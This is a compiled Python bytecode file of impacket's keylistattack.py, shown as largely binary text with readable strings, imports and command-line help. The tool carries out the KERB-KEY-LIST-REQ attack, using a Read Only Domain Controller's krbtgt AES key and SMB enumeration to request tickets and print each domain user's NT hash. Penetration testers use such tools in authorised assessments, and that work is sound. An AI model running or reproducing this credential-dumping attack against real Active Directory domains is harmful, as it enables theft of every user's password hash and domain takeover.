o
    àý°jX0  ã                
   @   sô  d dl Z d dlZd dlZd dlmZ d dlmZmZ d dlm	Z	 d dl
mZ d dlmZ d dlmZ d dlmZ ze ¡ ZW n eyI   eZY nw G d	d
„ d
ƒZedk�rød dlZd dlZzd dlZd dlmZmZmZ W n ey€   edƒ e  d¡ Y nw eej!ƒ ej"ddd�Z#e#j$dddd� e#j$dde%dd� e#j$dddd� e#j$ddddd� e#j$d dd!d� e#j$d"dd#d� e# &d$¡Z'e'j$d%dd&d� e'j$d'dd(d� e'j$d)dd*d� e'j$d+dd,d� e# &d-¡Z'e'j$d.dd/d0d1� e'j$d2dd3d� e'j$d4dd5d� e'j$d6dd7d8d1� e# &d9¡Z'e'j$d:dd;d<d1� e'j$d=dd;d>d1� e(ej)ƒdk�r3e# *¡  e  d¡ e# +¡ Z,e -e,j.e,j/¡ e,j0du �rOe  1d?¡ e  d¡ e,j2du �r_e  1d@¡ e  d¡ e	e,j3ƒ\Z4Z5Z6Z7e7dAk�rwe  1dB¡ e  d¡ e7dCk�rcg Z8e,j9du �r‰e  :dD¡ e,j;du�r–e8 <e,j;¡ n}e,j=du�r	z8e>e,j=dEƒ�'Z?e?D ]Z@e@ A¡ Z3e3dAk�rÁe3d  dFk�rÁe8 <e3dG dH ¡ �q¦W d  ƒ n	1 �sÎw   Y  W n" eB�yö Z1 ze  1dIe,j=eCe1ƒ¡ e  d¡ W Y dZ1[1ndZ1[1ww e(e8ƒd k�re  1dJ¡ e  d¡ n
e  1dK¡ e  d¡ e,jDdu�r-dLe,jDv �r)e,jD EdLd¡\Z7Z4ne,jDZ7n
e  1dM¡ e  d¡ e,jFdu �r@e7e,_Fe,j4du�rIe,j4Z4e4dAk�rXe  1dN¡ e  d¡ ee7e5e6e4e,de8ƒZGncdOe,j3v�rse  1dP¡ e  d¡ e,jFdu �r|e7e,_Fe4dAk�r‹e  1dQ¡ e  d¡ e5dAk�rše  1dR¡ e  d¡ e6dAk�r»e,jHdu �r»e,jIdu �r»e,jJdu �r»d dSlKmKZK eKdTƒZ6ee7e5e6e4e,dg dU�ZGzeG L¡  W dS  eM�y÷ ZN ze  O¡ jPe jQk�rçd dlRZReR S¡  e  1eN¡ W Y dZN[NdS dZN[Nww dS )Vé    N)Úlogger)ÚRemoteOperationsÚKeyListSecrets)Úparse_target)Ú	constants)Ú	Principal)ÚSMBConnection)Úversionc                   @   s,   e Zd Zdd„ Zdd„ Zdd„ Zdd„ Zd	S )
ÚKeyListDumpc                 C   s    || _ || _|| _|j| _|j| _|j| _|| _	|j
| _|j| _|j| _|| _|| _|j| _d | _d | _d | _|jd urH|j d¡\| _| _d S d| _d| _d S )Nú:Ú )Ú_KeyListDump__domainÚ_KeyListDump__usernameÚ_KeyListDump__passwordÚaesKeyÚ_KeyListDump__aesKeyÚkÚ_KeyListDump__doKerberosÚrodcKeyÚ_KeyListDump__aesKeyRodcÚ_KeyListDump__remoteNameÚ	target_ipÚ_KeyListDump__remoteHostÚdc_ipÚ_KeyListDump__kdcHostÚrodcNoÚ_KeyListDump__rodcÚ_KeyListDump__enumÚ_KeyListDump__targetsÚfullÚ_KeyListDump__fullÚ_KeyListDump__smbConnectionÚ_KeyListDump__remoteOpsÚ_KeyListDump__keyListSecretsÚhashesÚsplitÚ_KeyListDump__lmhashÚ_KeyListDump__nthash)ÚselfÚ
remoteNameÚusernameÚpasswordÚdomainÚoptionsÚenumÚtargets© r0   ú�/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/keylistattack.pyÚ__init__2   s(   

zKeyListDump.__init__c              
   C   s¼   z3t | j| jƒ| _| jr"| j | j| j| j| j	| j
| j| j¡ W d S | j | j| j| j| j	| j
¡ W d S  ty] } zt d¡d urQ| jdu rQt dt|ƒ ¡ n‚ W Y d }~d S d }~ww )NÚ
KRB5CCNAMETz9SMBConnection didn't work, hoping Kerberos will help (%s))r   r   r   r!   r   ÚkerberosLoginr   r   r   r&   r'   r   r   ÚloginÚ	ExceptionÚosÚgetenvÚloggingÚdebugÚstr)r(   Úer0   r0   r1   ÚconnectK   s"   
ÿ
ÿþ€úzKeyListDump.connectc           	      C   sB  | j du r=|  ¡  t| j| j| jƒ| _| j | j¡ t	| j| j
| j| j| jƒ| _t d¡ | jdu r7|  ¡ }n| j ¡ }nt d¡ t	| j| j
| j| jd ƒ| _| j}t d¡ t d¡ |D ]@}| d¡d }td| tjjjd	�}| j |¡\}}| j |||¡}|d urž| j ||¡}t| jd
 | d |dd …  ƒ q^d S )NTz@Enumerating target users. This may take a while on large domainsz(Using target users provided by parameterz4Dumping Domain Credentials (domain\uid:[rid]:nthash)z;Using the KERB-KEY-LIST request method. Tickets everywhere!r   r   z%s)Útypeú\é   )r   r=   r   r!   r   r   r"   ÚconnectSamrr   r   r   r   r   r#   r9   Úinfor    ÚgetAllDomainUsersÚgetAllowedUsersToReplicater   r%   r   r   ÚPrincipalNameTypeÚNT_PRINCIPALÚvalueÚcreatePartialTGTÚ
getFullTGTÚgetKeyÚprint)	r(   Ú
targetListÚ
targetUserÚuserÚtargetUserNameÚ
partialTGTÚ
sessionKeyÚfullTGTÚkeyr0   r0   r1   Úrun^   s0   






"€ùzKeyListDump.runc                 C   sb   | j  ¡ }g d¢}g }|d d D ]}|d |vr.d|d vr.| |d d t|d ƒ ¡ q|S )N)iô  iõ  iö  i÷  ÚBufferÚ
RelativeIdÚkrbtgt_ÚNamer   )r"   ÚgetDomainUsersÚappendr;   )r(   ÚrespÚdeniedUsersrL   rN   r0   r0   r1   rC   y   s   
€zKeyListDump.getAllDomainUsersN)Ú__name__Ú
__module__Ú__qualname__r2   r=   rT   rC   r0   r0   r0   r1   r
   1   s
    r
   Ú__main__)ÚnoValueÚ
SequenceOfÚIntegerz"This module needs pyasn1 installedé   TzpPerforms the KERB-KEY-LIST-REQ attack to dump secrets from the remote machine without executing any agent there.)Úadd_helpÚdescriptionÚtargetÚstorezÃ[[domain/]username[:password]@]<KDC HostName or IP address> (Use this credential to authenticate to SMB and list domain users (low-privilege account) or LIST (if you want to parse a target file) )ÚactionÚhelpz-rodcNoz!Number of the RODC krbtgt account)ri   r>   rj   z-rodcKeyz*AES key of the Read Only Domain Controllerz-fullÚ
store_trueFzaRun the attack against all domain users. Noisy! It could lead to more TGS requests being rejected)ri   Údefaultrj   z-debugzTurn DEBUG output ONz-tsz&Adds timestamp to every logging outputzLIST optionz-domainz6The fully qualified domain name (only works with LIST)z-kdcz+KDC HostName or FQDN (only works with LIST)z-tz9Attack only the username specified (only works with LIST)z-tfzDFile that contains a list of target usernames (only works with LIST)Úauthenticationz-hasheszLMHASH:NTHASHz=Use NTLM hashes to authenticate to SMB and list domain users.)ri   Úmetavarrj   z-no-passz&don't ask for password (useful for -k)z-kzßUse Kerberos to authenticate to SMB and list domain users. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)Ú
connectionz-dc-ipz
ip addresszoIP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameterz
-target-ipz£IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve itz/You must specify the RODC number (krbtgt_XXXXX)z!You must specify the RODC aes keyr   z0You must specify a target or set the option LISTÚLISTzFlag -full will have no effectÚrú#r   zN/AzCould not open file: %s - %szNo valid targets specified!z2You must specify a target username or targets fileÚ.z)You must specify the KDC HostName or FQDNzTYou must specify a target domain. Use the flag -domain or define a FQDN in flag -kdcú@z/You must specify the KDC HostName or IP Addressz You must specify a target domainzYou must specify a username)Úgetpassz	Password:)r/   )Tr9   r7   ÚrandomÚimpacket.examplesr   Úimpacket.examples.secretsdumpr   r   Úimpacket.examples.utilsr   Úimpacket.krb5r   Úimpacket.krb5.typesr   Úimpacket.smbconnectionr   Úimpacketr	   ÚSystemRandomÚrandÚNotImplementedErrorr
   r]   ÚargparseÚsysÚpyasn1Úpyasn1.type.univra   rb   rc   ÚImportErrorrK   ÚexitÚBANNERÚArgumentParserÚparserÚadd_argumentÚintÚadd_argument_groupÚgroupÚlenÚargvÚ
print_helpÚ
parse_argsr-   ÚinitÚtsr:   r   Úerrorr   rg   r,   r*   r+   r)   r/   r   ÚwarningÚtrZ   ÚtfÚopenÚfÚlineÚstripÚIOErrorr;   Úkdcr%   r   Úkeylistdumperr$   Úno_passr   ru   rT   r6   r<   Ú	getLoggerÚlevelÚDEBUGÚ	tracebackÚ	print_excr0   r0   r0   r1   Ú<module>   s
  þ
Tþ




ÿ









€ýÿ€€þ

€














.€û �ý